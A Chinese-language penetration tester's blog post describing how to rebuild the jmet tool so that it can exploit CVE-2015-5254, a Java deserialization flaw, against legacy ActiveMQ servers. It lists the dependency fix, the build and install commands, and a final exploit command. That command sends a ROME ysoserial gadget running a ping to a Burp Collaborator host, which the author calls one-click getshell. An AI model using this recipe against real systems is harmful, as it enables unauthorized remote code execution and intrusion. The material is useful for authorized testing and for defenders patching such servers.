重新编译jmet小记

在一次渗透测试过程中,发现内网有一些activemq版本很老(2010年前的),但是并没有/fileserver这个路径意味着没法用CVE-2016-3088(猜测经过加固),不过幸运的是/admin没有授权就能访问意味着有主动触发CVE-2015-5254的可能性,猜测这种偏门的java洞可能被加固人员忽略,所以抄起jmet试了一下。回显如下
image.png

看样子是失败了,经过一番谷歌过后看到github上有如下回答,猜测是因为activemq所依赖的包版本过老而jmet依赖的包比较新所以打不成功。
image.png
image.png

正如github上这个老外所说需要加入legacy。

1
2
3
4
5
<dependency>
<groupId>org.apache.activemq</groupId>
<artifactId>activemq-openwire-legacy</artifactId>
<version>5.15.11</version>
</dependency>

既然问题问题出在依赖上就意味着要重新编译,踩了一些坑下面记录一下。

jmet可以攻击多种软件,有一些是商业的软件我们搞不到对应的jar,所以删除下面两个java。

1
2
rm -f src/main/java/de/codewhite/jmet/target/impl/WebSphereMQTarget.java
rm -f src/main/java/de/codewhite/jmet/target/impl/SwiftMQTarget.java

另外注意到jmet是依赖于ysoserial
image.png

并且我们后续也会用到,奈何没找到什么中央仓库提供这种黑客依赖。无奈需要自己到导入

1
mvn install:install-file -DgroupId=ysoserial -DartifactId=ysoserial -Dversion=0.0.5-SNAPSHOT -Dpackaging=jar -Dfile=

编译

1
2
export MAVEN_OPTS=-Xss10m
mvn clean compile assembly:single

然后就可以快乐的一键getshell了。

1
proxychains java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "ping -n 1 wyyekrec31qzxtpc4kq636jbi2otci.burpcollaborator.net" -Yp ROME  ip port
Author

李三(cl0und)

Posted on

2020-03-21

Updated on

2020-07-11

Licensed under